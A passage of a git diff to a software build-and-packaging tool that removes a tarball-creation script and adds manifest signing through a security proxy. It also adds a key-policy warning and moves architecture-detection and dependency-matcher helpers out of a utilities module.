-# Required environment variables (set by the .tar Makeflow rule): -# WORK_DIR -- root build directory (e.g. sw/) -# PKGNAME -- package name -# PKGVERSION -- package version -# PKGREVISION -- package revision (may be empty when force_revision="") -# PKGHASH -- content-addressable hash of the build -# EFFECTIVE_ARCHITECTURE -- e.g. "slc7_x86-64" -# CACHED_TARBALL -- non-empty when a prebuilt tarball was used; in that -# case this script is a no-op (tarball already exists) -# -# Exit code: non-zero on any failure. - -set -e - -# Reconstruct _VERREV exactly as build_template.sh does so that the tarball -# filename is consistent with what build_template.sh put on disk. -if [ -n "${PKGREVISION}" ]; then - _VERREV="${PKGVERSION}-${PKGREVISION}" -else - _VERREV="${PKGVERSION}" -fi - -PACKAGE_WITH_REV="${PKGNAME}-${_VERREV}.${EFFECTIVE_ARCHITECTURE}.tar.gz" -HASHPREFIX=$(echo "$PKGHASH" | cut -c1,2) -HASH_PATH="${EFFECTIVE_ARCHITECTURE}/store/${HASHPREFIX}/${PKGHASH}" - -# Nothing to do if a prebuilt tarball was already expanded by build_template.sh. -if [ -n "$CACHED_TARBALL" ]; then - echo "bits: tar: skipping tarball creation for $PKGNAME (cached tarball used)" - exit 0 -fi - -echo "bits: tar: creating tarball for $PKGNAME-${_VERREV} ($PKGHASH)" - -mkdir -p "${WORK_DIR}/TARS/${HASH_PATH}" \ - "${WORK_DIR}/TARS/${EFFECTIVE_ARCHITECTURE}/${PKGNAME}" - -# Use pigz for multi-core compression when available, fall back to gzip. -gzip=$(command -v pigz) || gzip=$(command -v gzip) - -tar -cC "${WORK_DIR}/INSTALLROOT/${PKGHASH}" . | - "$gzip" -c > "${WORK_DIR}/TARS/${HASH_PATH}/${PACKAGE_WITH_REV}.processing" # T1 FIX: quote $gzip -mv "${WORK_DIR}/TARS/${HASH_PATH}/${PACKAGE_WITH_REV}.processing" \ - "${WORK_DIR}/TARS/${HASH_PATH}/${PACKAGE_WITH_REV}" - -# Create the "main" dist symlink so that upload_shell_command can find the -# tarball via the standard TARS/// path. -ln -nfs "../../${HASH_PATH}/${PACKAGE_WITH_REV}" \ - "${WORK_DIR}/TARS/${EFFECTIVE_ARCHITECTURE}/${PKGNAME}/${PACKAGE_WITH_REV}" - -echo "bits: tar: done creating tarball for $PKGNAME-${_VERREV}" diff --git a/bits_helpers/trust.py b/bits_helpers/trust.py index 4167c6c0..e6f366f7 100644 --- a/bits_helpers/trust.py +++ b/bits_helpers/trust.py @@ -21,6 +21,8 @@ import hashlib import json import os +import urllib.error +import urllib.request from cryptography.exceptions import InvalidSignature from cryptography.hazmat.primitives import serialization @@ -162,6 +164,88 @@ def verify_manifest(manifest_path: str, sig_path=None, dirs=None): return verify_bytes(data, envelope, load_trusted_keys(dirs)) +# ---- Signing via the security-proxy (M1) -------------------------------- +# The proxy holds the Ed25519 seed in memory and signs opaque bytes over its +# /sign route; the producer never holds the key. Its response keyid is the full +# sha256(pubkey) hex, so we truncate to our 16-char key_id. Ed25519 is +# deterministic, so a proxy signature equals a local one byte-for-byte. + +_PROXY_TIMEOUT = 30 + + +class _NoRedirect(urllib.request.HTTPRedirectHandler): + # A signing proxy must never redirect; treat a 3xx as an error rather than a + # hop that could downgrade POST->GET or resend the bearer token to another host. + def redirect_request(self, *args, **kwargs): + return None + + +_PROXY_OPENER = urllib.request.build_opener(_NoRedirect) + + +def _bearer(token): + if not token or not isinstance(token, str): + raise ValueError("sign proxy gate token is empty") + return "Bearer " + token + + +def _proxy_json(req, url): + """Open *req*, returning parsed JSON. Every failure — transport, HTTP status, + redirect, non-JSON body — becomes a RuntimeError naming *url* (never the token).""" + try: + with _PROXY_OPENER.open(req, timeout=_PROXY_TIMEOUT) as fh: + return json.load(fh) + except urllib.error.HTTPError as e: + raise RuntimeError("sign proxy %s failed: HTTP %s %s" + % (url, e.code, e.reason)) + except urllib.error.URLError as e: + raise RuntimeError("sign proxy %s unreachable: %s" % (url, e.reason)) + except ValueError: # includes json.JSONDecodeError + raise RuntimeError("sign proxy %s returned a non-JSON body" % url) + + +def sign_bytes_via_proxy(data: bytes, url: str, token: str) -> dict: + """Envelope over *data*, signed by the security-proxy sign route at *url*. + + Same shape as :func:`sign_bytes`; the proxy's full-length keyid is truncated + to our 16-char key_id. Raises RuntimeError on any transport/HTTP/shape error. + """ + req = urllib.request.Request( + url, data=data, method="POST", + headers={"Authorization": _bearer(token), + "Content-Type": "application/octet-stream"}) + resp = _proxy_json(req, url) + try: + keyid, sig = str(resp["keyid"]), resp["sig"] + except (TypeError, KeyError): + raise RuntimeError("sign proxy %s returned an unexpected response" % url) + return {"alg": _ALG, "key_id": keyid[:16], "sig": sig} + + +def proxy_pubkey(url: str, token: str): + """Return ``(key_id, Ed25519PublicKey)`` from the sign route's ``/pubkey``.""" + u = url.rstrip("/") + "/pubkey" + req = urllib.request.Request(u, headers={"Authorization": _bearer(token)}) + resp = _proxy_json(req, u) + try: + pub = Ed25519PublicKey.from_public_bytes(base64.b64decode(resp["publicKey"])) + except (TypeError, KeyError, ValueError): + raise RuntimeError("sign proxy %s returned an invalid public key" % u) + return key_id(pub), pub + + +def sign_manifest_via_proxy(manifest_path: str, url: str, token: str, + sig_path=None) -> str: + """Like :func:`sign_manifest`, but sign via the security-proxy at *url*.""" + with open(manifest_path, "rb") as fh: + data = fh.read() + envelope = sign_bytes_via_proxy(data, url, token) + sig_path = sig_path or (manifest_path + ".sig") + with open(sig_path, "w") as fh: + json.dump(envelope, fh) + return sig_path + + def load_key_policy(dirs=None): """Return the key->groups signing policy, or None if no policy is configured. @@ -295,9 +379,23 @@ def _verified_entries(manifest_path, sig_path, dirs, accept_groups, now): # Per-key group binding: a signing key vouches only for the groups it is # authorised for (policy file opt-in; absent = no restriction). policy = load_key_policy(dirs) - entries = [e for e in data.get("packages", []) - if accepts_group(e.get("group"), accept_groups) - and key_authorized(kid, e.get("group"), policy)] + entries, denied = [], {} + for e in data.get("packages", []): + if not accepts_group(e.get("group"), accept_groups): + continue + if key_authorized(kid, e.get("group"), policy): + entries.append(e) + else: + # Signature verified and the group is accepted, but key-policy denies this + # key for this group — the entry is dropped. Diagnose it so a missing + # key-policy.json enrolment is not a silent no-reuse (fail-closed default). + denied[e.get("group") or "common"] = denied.get(e.get("group") or "common", 0) + 1 + if denied: + from bits_helpers.log import warning + warning("trust: signing key %s verified but is not authorised by " + "key-policy.json for group(s) %s — %d entr(y/ies) dropped. If this is " + "unexpected, enrol the key in keys/key-policy.json.", + kid[:16], ", ".join(sorted(denied)), sum(denied.values())) return kid, entries diff --git a/bits_helpers/upload_cmd.py b/bits_helpers/upload_cmd.py index cd505908..e97a3197 100644 --- a/bits_helpers/upload_cmd.py +++ b/bits_helpers/upload_cmd.py @@ -5,10 +5,9 @@ """upload_cmd.py -- upload a built package's tarball and symlinks to S3 (boto3). This is a thin CLI wrapper around Boto3RemoteSync.upload_symlinks_and_tarball() -so that the Makeflow .upload rule can invoke it as a subprocess without needing -an in-process Python call. +so that it can be invoked as a subprocess without needing an in-process Python call. -Package identity is read from environment variables so that the Makeflow rule +Package identity is read from environment variables so that a caller can pass them naturally via the environment block: PKGNAME -- package name @@ -28,7 +27,7 @@ Exit code: 0 on success, 1 on failure. -Usage (from a Makeflow rule shell block): +Usage (from a shell block): PKGNAME=foo PKGVERSION=1.0 PKGREVISION=1 PKGHASH=abc123 \\ EFFECTIVE_ARCHITECTURE=slc7_x86-64 BUILD_ARCH=slc7_x86-64 \\ python3 -m bits_helpers.upload_cmd \\ @@ -84,7 +83,7 @@ def main(): # We reconstruct this from EFFECTIVE_ARCHITECTURE: if it equals "shared" # (i.e. SHARED_ARCH), mark the spec accordingly so that the upload goes to # the correct path. - from bits_helpers.utilities import SHARED_ARCH + from bits_helpers.arch import SHARED_ARCH spec = { "package": pkgname, "version": pkgversion, diff --git a/bits_helpers/utilities.py b/bits_helpers/utilities.py index 40e5d689..2a35ecc4 100644 --- a/bits_helpers/utilities.py +++ b/bits_helpers/utilities.py @@ -3,37 +3,24 @@ # SPDX-License-Identifier: GPL-3.0-or-later # Standard library -import fnmatch import hashlib -import json import os import platform import re import sys -from collections import OrderedDict from datetime import datetime -from glob import glob -from os.path import basename, exists, isdir, islink, join -from shlex import quote -from typing import Any, IO - -# Third-party -import yaml +from os.path import basename, isdir, islink, join # Internal -from bits_helpers.checksum_store import load_for_spec, merge_into_spec -from bits_helpers.cmd import getoutput from bits_helpers.git import git -from bits_helpers.log import banner, debug, dieOnError, error, warning +from bits_helpers.log import dieOnError -from bits_helpers.cmd import getoutput -from bits_helpers.git import git +# Backward-compatibility re-exports: yamlLoad moved to bits_helpers.recipe and +# yamlDump was restored there. External recipe generators (e.g. cms.bits) import +# both from bits_helpers.utilities, so keep them importable at the old location. +from bits_helpers.recipe import yamlLoad, yamlDump # noqa: F401 -from bits_helpers.log import error, warning, dieOnError, debug, banner -from bits_helpers.checksum_store import load_for_spec, merge_into_spec -class SpecError(Exception): - pass def call_ignoring_oserrors(function, *args, **kwargs): @@ -101,19 +88,6 @@ def topological_sort(specs): assert False, "Unreachable error: cycle detection failed" -SHARED_ARCH = "shared" -"""Sentinel value used in all paths for architecture-independent packages. - -When a recipe sets ``architecture: shared``, bits substitutes this string for -the real build architecture in every path component (install dir, tarball name, -TARS store, SPECS dir, ``$PKGPATH``). The result is that the package is -installed under ``sw/shared//-/`` and its tarball is -stored under ``TARS/shared/store/…``, making it reusable by any architecture -without rebuilding. - -Recipes that do **not** define ``architecture: shared`` are completely unaffected -— ``effective_arch()`` returns the real build architecture for them. -""" def pkg_to_shell_id(name: str) -> str: @@ -137,122 +111,6 @@ def pkg_to_shell_id(name: str) -> str: return re.sub(r'[^A-Za-z0-9_]', '_', name).upper() -# Mapping from bits architecture substrings to Docker --platform values. -# Matched by substring so that compound strings like "slc9_aarch64" or -# "ubuntu2204_x86-64" resolve correctly. -_BITS_ARCH_TO_DOCKER_PLATFORM = { - "x86-64": "linux/amd64", - "x86_64": "linux/amd64", - "aarch64": "linux/arm64", - "arm64": "linux/arm64", - "ppc64le": "linux/ppc64le", - "s390x": "linux/s390x", - "riscv64": "linux/riscv64", -} - - -def docker_platform_for_arch(bits_arch: str): - """Return the Docker ``--platform`` value for a bits architecture string. - - Examples:: - - docker_platform_for_arch("slc9_aarch64") -> "linux/arm64" - docker_platform_for_arch("slc9_x86-64") -> "linux/amd64" - docker_platform_for_arch("osx_arm64") -> "linux/arm64" - docker_platform_for_arch("unknown") -> None - - Returns ``None`` when the architecture substring is not recognised, which - lets callers decide whether to fall back to the Docker daemon default. - """ - for key, plat in _BITS_ARCH_TO_DOCKER_PLATFORM.items(): - if key in bits_arch: - return plat - return None - - -def effective_arch(spec: dict, build_arch: str) -> str: - """Return the architecture string to use in paths and tarball names. - - If the recipe declares ``architecture: shared`` the function returns - :data:`SHARED_ARCH` (``"shared"``), so that the package is installed in a - location that every build platform can read. - - For all other recipes (including those that omit the field entirely) the - function returns *build_arch* unchanged, preserving full backward - compatibility. - """ - if spec.get("architecture") == SHARED_ARCH: - return SHARED_ARCH - return build_arch - - -def compute_combined_arch(defaults_meta: dict, defaults_list: list, raw_arch: str) -> str: - """Return the effective architecture string for install paths. - - **Per-default ``append_arch`` (new mechanism)** - - When one or more loaded defaults files set ``append_arch: ``, only - those explicit values are appended to *raw_arch*, regardless of the - ``qualify_arch`` flag:: - - # defaults-gcc13.sh has append_arch: -gcc13 - # defaults-release.sh has no append_arch - # result for --default release::gcc13: - compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, - ["release", "gcc13"], "slc7_x86-64") - # → "slc7_x86-64-gcc13" - - This lets recipe authors opt individual defaults files into architecture - qualification while keeping the others transparent. The values from - ``append_arch`` are appended **verbatim**, in the same order as the defaults - chain (``--default a::b::c``); no separator is assumed. Each value must - carry its own separator if one is wanted (and may also be glued on with - none):: - - append_arch: -gcc15-dbg # -> "-gcc15-dbg" - append_arch: _gcc15 # -> "_gcc15" - append_arch: dbg # -> "dbg" (no separator, glued on) - - **Legacy ``qualify_arch`` (backward-compatible fallback)** - - When no defaults file uses ``append_arch``, the old behaviour applies: if - any loaded defaults file sets ``qualify_arch: true``, the install directory - is qualified with every non-``release`` default name joined by ``-``:: - - ---... - - When ``qualify_arch`` is absent or false and no ``append_arch`` values were - collected, *raw_arch* is returned unchanged. - - Examples:: - - compute_combined_arch({}, ["release"], "slc7_x86-64") - # → "slc7_x86-64" (neither mechanism active) - - compute_combined_arch({"qualify_arch": True}, ["dev", "gcc13"], "slc7_x86-64") - # → "slc7_x86-64-dev-gcc13" (legacy qualify_arch) - - compute_combined_arch({"qualify_arch": True}, ["release"], "slc7_x86-64") - # → "slc7_x86-64" (legacy, release-only → no suffix) - - compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, - ["release", "gcc13"], "slc7_x86-64") - # → "slc7_x86-64-gcc13" (per-default append_arch, separator in value) - """ - # --- New mechanism: per-default append_arch values ------------------------- - per_default = defaults_meta.get("_append_arch_qualifiers") - if per_default: - # Append each value verbatim: the separator (if any) lives in the value, so - # callers can join with "-", "_", or nothing at all. - return raw_arch + "".join(q for q in per_default if q) - - # --- Legacy mechanism: global qualify_arch flag ---------------------------- - if not defaults_meta.get("qualify_arch", False): - return raw_arch - qualifiers = [d for d in defaults_list if d != "release"] - if not qualifiers: - return raw_arch - return raw_arch + "-" + "-".join(qualifiers) def ver_rev(spec): @@ -275,6 +133,17 @@ def ver_rev(spec): return "{}-{}".format(spec["version"], rev) if rev else spec["version"] +def human_bytes(n, units=("B", "KiB", "MiB", "GiB", "TiB"), sep=" "): + """Bytes as a short human string. Default gives binary units with a space + ('5.0 KiB', '0 B'); pass units=('B','K','M','G','T'), sep='' for the compact + form ('1.8G', '0B').""" + n = float(n or 0) + for u in units: + if n < 1024 or u == units[-1]: + return ("%.0f%s%s" % (n, sep, u)) if u == "B" else ("%.1f%s%s" % (n, sep, u)) + n /= 1024.0 + + def resolve_store_path(architecture, spec_hash): """Return the path where a tarball with the given hash is to be stored. @@ -450,1111 +319,10 @@ def prunePaths(workDir): if x.endswith("_VERSION") and x != "BITS_VERSION": os.environ.pop(x) -def validateSpec(spec): - if not spec: - raise SpecError("Empty recipe.") - if type(spec) != OrderedDict: - raise SpecError("Not a YAML key / value.") - if "package" not in spec: - raise SpecError("Missing package field in header.") # Use this to check if a given spec is compatible with the given default -def validateDefaults(finalPkgSpec, defaults): - if "valid_defaults" not in finalPkgSpec: - return (True, "", []) - validDefaults = asList(finalPkgSpec["valid_defaults"]) - nonStringDefaults = [x for x in validDefaults if not isinstance(x, str)] - if nonStringDefaults: - return (False, "valid_defaults needs to be a string or a list of strings. Found %s." % nonStringDefaults, []) - defaultsList = asList(defaults) - invalidDefaults = [d for d in defaultsList if d not in validDefaults] - if not invalidDefaults: - return (True, "", validDefaults) - return (False, "Cannot compile %s with `%s' default. Valid defaults are\n%s" % - (finalPkgSpec["package"], - ", ".join(invalidDefaults), - "\n".join([" - " + x for x in validDefaults])), validDefaults) - -def incompatibleFlavorDefaults(validDefaults, defaults, defaults_meta=None): - """Evaluate the valid_defaults gate for a chained-defaults build, ignoring - structural/overlay layers. - - Packages declare ``valid_defaults`` to gate on build *flavors* (e.g. ``o2``, - ``o2-epn``). Structural layers are not flavors and must be ignored: the - always-present ``release`` base, and any default whose file declares - ``valid_defaults_exempt: true`` (e.g. the ``alidist`` variant). Their names - are collected by :func:`readDefaults` into ``defaults_meta['_valid_defaults_exempt']``. - - Returns ``(bad, missing)``: - - * ``bad`` – chosen flavor defaults the packages do not accept; - * ``missing`` – ``True`` when the packages require a flavor - (``validDefaults`` is non-empty) but only structural layers were selected. - - When *validDefaults* is falsy (no package restricts defaults, e.g. a plain - LCG build) the build is always compatible and ``([], False)`` is returned. - """ - if not validDefaults: - return ([], False) - exempt = set((defaults_meta or {}).get("_valid_defaults_exempt", ())) - exempt.add("release") - flavors = [d for d in defaults if d not in exempt] - bad = [d for d in flavors if d not in validDefaults] - return (bad, not flavors) - - -# Built-in architecture layout, used when no `architecture:` template is set in -# the defaults. Expressed with the same %(...)s substitution syntax bits uses -# elsewhere (sources, tags). Available keys: see arch_components(). -DEFAULT_ARCH_TEMPLATE = "%(os)s_%(machine)s" - - -def arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): - """Return the substitution dict from which the architecture string is built. - - Keys: - os -- distro+version token, e.g. "ubuntu2510" (or "osx") - machine -- bits-canonical dashed CPU form, e.g. "x86-64" (or "arm64") - _machine -- uname/underscore CPU form, e.g. "x86_64" - - doDetectArch() assembles the default layout via DEFAULT_ARCH_TEMPLATE; a - defaults file may instead supply its own `architecture:` template referencing - these keys (e.g. "%(os)s_%(_machine)s" for ubuntu2510_x86_64, or - "%(_machine)s-%(os)s" for x86_64-ubuntu2510). - """ - if platformSystem == "Darwin": - processor = platformProcessor - if not processor: - processor = "x86-64" if platform.machine() == "x86_64" else "arm64" - os_token = "osx" - else: - distribution, version, flavour = platformTuple - distribution = distribution.lower() - # If platform.dist does not return something sensible, - # let's try with /etc/os-release - if distribution not in ["ubuntu", "red hat enterprise linux", "redhat", "centos", "almalinux", "rocky linux"] and hasOsRelease: - for x in osReleaseLines: - key, is_prop, val = x.partition("=") - if not is_prop: - continue - val = val.strip("\n \"") - if key == "ID": - distribution = val.lower() - if key == "VERSION_ID": - version = val - - if distribution == "ubuntu": - major, _, minor = version.partition(".") - version = major + minor - elif distribution == "debian": - # http://askubuntu.com/questions/445487/which-ubuntu-version-is-equivalent-to-debian-squeeze - debian_ubuntu = {"7": "1204", "8": "1404", "9": "1604", "10": "1804", "11": "2004"} - if version in debian_ubuntu: - distribution = "ubuntu" - version = debian_ubuntu[version] - elif distribution in ["redhat", "red hat enterprise linux", "centos", "almalinux", "rocky linux"]: - distribution = "slc" - - processor = platformProcessor - if not processor: - # Sometimes platform.processor returns an empty string - processor = getoutput(("uname", "-m")).strip() - - os_token = "{distro}{version}".format(distro=distribution, version=version.split(".")[0]) - - return { - "os": os_token, - "machine": processor.replace("_", "-"), - "_machine": processor.replace("-", "_"), - } - - -def apply_arch_template(template, components): - """Render an architecture *template* (``%(os)s``/``%(machine)s``/...) against - *components*. A literal string with no placeholders is returned unchanged.""" - try: - return template % components - except (KeyError, ValueError) as exc: - raise ValueError("invalid architecture template %r: %s" % (template, exc)) - - -def doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): - return apply_arch_template( - DEFAULT_ARCH_TEMPLATE, - arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor)) - - -# ── architecture token matching (order- and separator-independent) ────────── -# Used so that custom layouts (ubuntu2510_x86_64, x86_64-ubuntu2510, ...) are -# recognised without --force-unknown-architecture, and so docker-image / S3 -# lookups match by content rather than by string position. -_ARCH_DISTRO_RE = re.compile( - r"(slc[0-9]+|ubuntu[0-9]*|ubt[0-9]*|osx|fedora[0-9]*|alma(?:linux)?[0-9]*" - r"|centos[0-9]*|rocky[0-9]*|rhel[0-9]*|el[0-9]+|debian[0-9]*)") -_ARCH_MACHINE_RE = re.compile(r"(x86[-_]64|aarch64|arm64|ppc64le|ppc64)") - - -def arch_distro_token(architecture): - """Return the distro token (e.g. 'ubuntu2510') found anywhere in *architecture*.""" - m = _ARCH_DISTRO_RE.search(architecture or "") - return m.group(0) if m else None -def arch_machine_token(architecture): - """Return the CPU token (e.g. 'x86-64'/'x86_64') found anywhere in *architecture*.""" - m = _ARCH_MACHINE_RE.search(architecture or "") - return m.group(0) if m else None - - -def normalise_arch_key(architecture): - """(distro, dashed-machine) key for order/separator-independent comparison.""" - mac = arch_machine_token(architecture) - return (arch_distro_token(architecture), mac.replace("_", "-") if mac else None) - -# Try to guess a good platform. This does not try to cover all the -# possibly compatible linux distributions, but tries to get right the -# common one, obvious one. If you use a Unknownbuntu which is compatible -# with Ubuntu 15.10 you will still have to give an explicit platform -# string. -# -# FIXME: we should have a fallback for lsb_release, since platform.dist -# is going away. -def detectArch(): - try: - with open("/etc/os-release") as osr: - osReleaseLines = osr.readlines() - hasOsRelease = True - except OSError: - osReleaseLines = [] - hasOsRelease = False - try: - if platform.system() == "Darwin": - if platform.machine() == "x86_64": - return "osx_x86-64" - else: - return "osx_arm64" - except Exception: - pass - try: - import distro - platformTuple = distro.linux_distribution() - platformSystem = platform.system() - platformProcessor = platform.processor() - if not platformProcessor or " " in platformProcessor: - platformProcessor = platform.machine() - return doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor) - except Exception: - return doDetectArch(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") - - -def detectArchComponents(): - """Like detectArch(), but returns the {os, machine, _machine} substitution - dict (see arch_components) so a defaults `architecture:` template can be - rendered against the locally detected platform.""" - try: - with open("/etc/os-release") as osr: - osReleaseLines = osr.readlines() - hasOsRelease = True - except OSError: - osReleaseLines = [] - hasOsRelease = False - if platform.system() == "Darwin": - machine = "x86-64" if platform.machine() == "x86_64" else platform.machine() - return {"os": "osx", "machine": machine.replace("_", "-"), "_machine": machine.replace("-", "_")} - try: - import distro - platformProcessor = platform.processor() - if not platformProcessor or " " in platformProcessor: - platformProcessor = platform.machine() - return arch_components(hasOsRelease, osReleaseLines, distro.linux_distribution(), - platform.system(), platformProcessor) - except Exception: - return arch_components(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") - -def _parse_req_matcher(r): - """Split a requirement string into ``(name, matcher, version_pin)`` triple. - - Supported syntaxes:: - - name plain dependency - name:matcher architecture/defaults-conditional dependency - name = version dependency with explicit version pin - name = version:matcher version pin + arch/defaults condition - - *matcher* is an architecture regex or ``defaults=``, exactly as for - the two-field form. *version_pin* is ``None`` when no ``= version`` clause - is present. - - The ``=`` must appear **before** the ``:`` (if any) so that version strings - containing ``:`` are not ambiguous with matchers. In practice version - strings do not contain ``:``, so this is not a real constraint. - """ - # Locate = and : positions. Only treat = as a version separator when it - # appears before the first : (or when there is no :). - eq_pos = r.find("=") - colon_pos = r.find(":") - if eq_pos != -1 and (colon_pos == -1 or eq_pos < colon_pos): - name = r[:eq_pos].strip() - rest = r[eq_pos + 1:].strip() - if ":" in rest: - pin, matcher = rest.split(":", 1) - return name, matcher, pin.strip() - return name, ".*", rest - if ":" in r: - name, matcher = r.split(":", 1) - return name, matcher, None - return r, ".*", None - - -def _defaults_active(matcher, defaults): - """Return True if a ``defaults=`` *matcher* matches the active defaults. - - ``defaults`` is what bits threads through from ``args.defaults``, which is a - *list* of profile names (``--defaults dev4::cuda`` -> ``["dev4", "cuda"]``); - older callers/tests may pass a bare string. The conditional is active when the - regex matches ANY active profile, so a recipe can require a dependency only - under a given profile, e.g. ``- "cuda:defaults=cuda"`` (enabled by - defaults-cuda.sh). Matching per-element also makes this safe: the previous - code passed the whole list to ``re.match`` and would raise TypeError. - """ - rx = matcher[len("defaults="):] - defs = defaults if isinstance(defaults, (list, tuple)) else [defaults] - return any(re.match(rx, d) for d in defs) - - -# A variable-reference matcher is spelled "(?NAME)" -- an identifier in the same -# parenthesised form as a regex group, but one that is NOT a legal regex (e.g. -# "(?cuda)" raises re.error: "unknown extension ?c"). This lets a recipe gate a -# dependency on a defaults *variable* rather than on the architecture string: -# - "cuda:(?cuda)" # require cuda only when variable `cuda` is truthy -# It is deliberately distinct from arch regexes such as "(?!osx)" (a valid -# negative-lookahead, kept as an arch match) -- we only treat "(?NAME)" as a -# variable reference when it fails to compile as a regex, so real regexes -# (including inline-flag groups like "(?i)") are never misinterpreted. -_VAR_MATCHER_RE = re.compile(r"\(\?([A-Za-z_][A-Za-z0-9_]*)\)\Z") - - -def _var_matcher_name(matcher): - """Return the variable NAME if *matcher* is a "(?NAME)" variable reference, - else None (in which case it is an arch regex / defaults= matcher).""" - m = _VAR_MATCHER_RE.match(matcher or "") - if not m: - return None - try: - re.compile(matcher) - except re.error: - return m.group(1) # not a valid regex -> it's a variable reference - return None # valid regex (e.g. "(?i)") -> treat as arch match - - -def _var_truthy(default_vars, name): - """True when defaults variable *name* is defined and not a false-ish string.""" - v = (default_vars or {}).get(name) - return v is not None and str(v).strip().lower() not in ("", "0", "false", "off", "no") - - -def _loose_version_key(v): - """A natural-order sort key for version strings, à la ``sort -V``. - - Splits the string into runs of digits and non-digits; digit runs compare - numerically (so v40r2 < v40r10) and non-digit runs lexicographically. Each - element is a (type, value) tuple so int and str runs never compare directly. - Handles the schemes bits sees: v40r2, v01-19-06, 01.07, 1.2.3, 0.1.0pre17. - - Separator characters ``-``, ``.`` and ``_`` are treated as equivalent and do - not themselves contribute to the ordering, so dash- and dot-form tags compare - equal (``v6-40-00`` == ``v6.40.00``). Without this, the raw separator runs - sort lexicographically ('-' 0x2d < '.' 0x2e), which made ``v6-40-00`` rank - below ``v6.36.99`` and silently broke ``version>=`` gating for ROOT-style - dash tags. - """ - key = [] - for p in re.findall(r"\d+|\D+", str(v)): - if p.isdigit(): - key.append((0, int(p))) - else: - s = re.sub(r"[-._]+", "", p) # drop separators; keep alpha (v, r, pre…) - if s: - key.append((1, s)) - return key - - -def _version_compare(a, b): - """Return -1/0/1 comparing version strings *a* and *b* in natural order.""" - ka, kb = _loose_version_key(a), _loose_version_key(b) - return (ka > kb) - (ka < kb) - - -# version: e.g. "version=v40r2", "version=v40r2". -_VERSION_OP_RE = re.compile(r"version\s*(>=|<=|==|!=|=|>|<)\s*(.+)\Z", re.DOTALL) -_VERSION_OPS = { - "=": lambda c: c == 0, "==": lambda c: c == 0, "!=": lambda c: c != 0, - "<": lambda c: c < 0, "<=": lambda c: c <= 0, - ">": lambda c: c > 0, ">=": lambda c: c >= 0, -} - - -def _matcher_atom_active(matcher, arch, defaults, default_vars=None, version=None): - """Evaluate a single (non-compound) matcher atom. See _matcher_active.""" - if matcher.startswith("defaults="): - return _defaults_active(matcher, defaults) - vm = _VERSION_OP_RE.match(matcher) - if vm: - return version is not None and _VERSION_OPS[vm.group(1)](_version_compare(version, vm.group(2).strip())) - var = _var_matcher_name(matcher) - if var is not None: - return _var_truthy(default_vars, var) - return bool(re.match(matcher, arch)) - - -def _matcher_active(matcher, arch, defaults, default_vars=None, version=None): - """Whether a *matcher* is active for the current build. - - Atoms: - * ``defaults=`` -> active when the regex matches an active profile; - * ``version`` -> active when the package version satisfies the - comparison (op is one of = == != < <= > >=), - e.g. ``foo.patch:version=v40r2`` or - ``foo.patch:version active when defaults variable VAR is truthy; - * anything else -> a regex matched against the architecture string. - - Atoms may be combined with ``&&`` (all) and ``||`` (any); ``||`` has the lower - precedence, e.g. ``(?!osx) && version>=v40r2 || (?cuda)`` is - ``((?!osx) AND version>=v40r2) OR (?cuda)``. (Note: a single ``|`` inside an - arch regex is still ordinary alternation — only the doubled ``||`` combines.) - - *version* is the resolved package version (after overrides / pins); it is only - consulted by the ``version`` kind and may be ``None`` for callers that never - use it (e.g. requires filtering). - """ - matcher = matcher.strip() - if "||" in matcher: - parts = [p for p in (s.strip() for s in matcher.split("||")) if p] - return any(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) - if "&&" in matcher: - parts = [p for p in (s.strip() for s in matcher.split("&&")) if p] - return all(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) - return _matcher_atom_active(matcher, arch, defaults, default_vars, version) - - -def predefined_arch_vars(architecture): - """Predefined, architecture-derived boolean variables (truthy ones only). - - These let a recipe or a defaults ``variables:`` gate test the platform with - the same ``(?NAME)`` spelling used for flavours, e.g. a package requirement - ``pkg:(?osx)`` or a variable gated ``when: "(?openloops) && (?!osx)"``. Only - the *true* members are returned (an unset variable is already falsy via - :func:`_var_truthy`, so ``(?osx)`` is correctly false off macOS). On - ``osx_arm64`` this is ``{'osx': 'true', 'arm64': 'true', 'aarch64': 'true'}``. - """ - a = str(architecture or "") - is_osx = a.startswith("osx") - is_arm = ("arm64" in a) or ("aarch64" in a) - is_x86 = ("x86-64" in a) or ("x86_64" in a) - cand = {"osx": is_osx, "linux": not is_osx, - "arm64": is_arm, "aarch64": is_arm, "x86_64": is_x86} - return {k: "true" for k, v in cand.items() if v} - - -def resolve_variables(variables, flavours, architecture, defaults): - """Resolve a defaults ``variables:`` block into a flat ``{name: value}`` dict. - - Entries may be plain (``name: value`` -- always defined) or *gated* - (``name: {value: V, when: MATCHER}`` -- defined to ``V`` only when ``MATCHER`` - is active for this build). ``MATCHER`` uses the requires-matcher grammar - (``(?flavour)``, an architecture regex such as ``osx`` / ``(?!osx)``, - ``defaults=``, combined with ``&&`` / ``||``) and is evaluated against - the variables resolved *so far*, so a gate may reference CLI flavours, the - predefined architecture variables, and any earlier entry ("a previously - defined variable"). A gated entry with no explicit ``value`` defaults to - ``True`` when active. - - Precedence (low -> high): predefined arch vars < CLI flavours < defaults-file - entries, except that a CLI flavour always wins over a defaults entry of the - same name (an explicit override) while remaining visible to every gate. - """ - flavours = flavours or {} - resolved = OrderedDict() - resolved.update(predefined_arch_vars(architecture)) - resolved.update(flavours) # visible to the gates below - for name, entry in (variables or {}).items(): - if name in flavours: - continue # CLI flavour overrides defaults - if isinstance(entry, dict) and "when" in entry: - if _matcher_active(str(entry["when"]), architecture, defaults, resolved): - resolved[name] = entry.get("value", True) - # inactive -> leave undefined (falsy) - else: - resolved[name] = entry - return resolved - - -def filterByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): - """Yield requirements from *requires* that are satisfied by *arch*/*defaults*. - - *version* is the depending package's own resolved version; pass it so a - requirement can be gated on it, e.g. ``- "curl:version>=v6.40.00"``. - """ - for r in requires: - require, matcher, _pin = _parse_req_matcher(r) - if _matcher_active(matcher, arch, defaults, default_vars, version): - yield require - -def disabledByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): - """Yield requirements from *requires* that are *not* satisfied by 